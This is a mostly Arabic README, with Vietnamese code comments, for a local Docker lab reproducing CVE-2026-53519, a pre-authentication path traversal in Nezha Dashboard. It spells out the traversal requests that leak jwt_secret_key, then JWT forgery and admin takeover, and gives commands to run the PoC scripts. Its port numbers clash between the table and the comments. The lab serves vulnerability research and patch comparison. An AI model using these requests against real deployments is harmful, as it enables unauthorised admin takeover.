مختبر CVE-2026-53519 - Nezha Dashboard اجتياز المسار قبل المصادقة

يعرض المختبر ثغرة اجتياز المسار قبل المصادقة عبر تضارب البادئة /dashboard.. في Nezha Dashboard، مما يؤدي إلى تسريب jwt_secret_key -> تزوير JWT -> الاستيلاء على صلاحيات المدير. بيئة Docker، مع فصل A/B حسب الإصدار لمقارنة المعرض للثغرة مقابل المُرقَّع.

	الصورة	الرابط (loopback)	النتيجة المتوقعة
المعرض للثغرة	`ghcr.io/nezhahq/nezha:v2.0.12`	http://127.0.0.1:9090	تسريب config.yaml، الاستيلاء على صلاحيات المدير
المُرقَّع	`ghcr.io/nezhahq/nezha:v2.0.13`	http://127.0.0.1:9091	محظور (404)

كلاهما يربط فقط 127.0.0.1، دون كشفه على LAN. بيانات دخول المدير الافتراضية: admin / admin.

المتطلبات

Docker Desktop (قيد التشغيل)
PowerShell 5.1+
Python 3 (python) - لتحليل sqlite.db المسرّب (يوجد بديل في حال عدم توفره)

تشغيل المختبر

# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset

# 2. Smoke check nhanh
.\lab.ps1 validate

# 3. Chuoi khai thac day du tren VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1

# 4. Doi chung tren PATCHED (mong doi: bi chan)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched

# 5. Negative controls (vi sao dung bien the nay moi leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1

أوامر الإدارة:

.\lab.ps1 start | stop | status | logs [vuln|patched]

سلسلة الاستغلال (ملخص)

المرحلة 1 - اجتياز المسار (قبل المصادقة) GET /dashboard../data/config.yaml -> تسريب jwt_secret_key. GET /dashboard../data/sqlite.db -> الحصول على معرّف مستخدم المدير (id=1).
المرحلة 2 - تزوير JWT توقيع HS256 لـ {user_id:"1", ip:"", exp:<future>} باستخدام السر المسرّب -> Authorization: Bearer <token> -> GET /api/v1/profile (التحقق) و GET /api/v1/user (نقطة نهاية خاصة بالمدير فقط) -> الاستيلاء على صلاحيات المدير.

تفاصيل السبب الجذري: انظر analysis/ROOT_CAUSE.md و analysis/vuln-vs-patch.diff. التقرير الكامل: REPORT_CVE_2026_53519.md.

البنية

docker-compose.yml           # A/B vuln (8080) vs patched (8081)
seed/config.yaml             # seed jwt_secret_key co dinh (deterministic)
seed/lab_canary.txt          # canary de minh hoa file read
lab.ps1 / lab-common.ps1     # quan ly + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1   # chuoi khai thac day du
poc/negative-controls.ps1    # doi chung cac bien the bi chan
poc/parse_users.py           # parse sqlite.db leak -> user id admin
analysis/ROOT_CAUSE.md       # phan tich + ban va
analysis/vuln-vs-patch.diff  # diff controller.go v2.0.12 -> v2.0.13
evidence/                    # output tu moi lan chay (leaked-config, token, userlist...)

ملاحظات أمنية

المختبر مخصص فقط للبحث/التعليم في بيئة محلية. قيمة jwt_secret_key في seed/config.yaml هي قيمة وهمية، لأغراض العرض فقط. لا تستخدم الصورة/الإصدار المعرضين لهذه الثغرة في بيئة الإنتاج.

المصادر

PoC الأصلي: https://github.com/tar-xz/CVE-2026-53519-PoC
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-53519
Nezha: https://github.com/nezhahq/nezha

CVE-2026-53519

الأكثر شعبية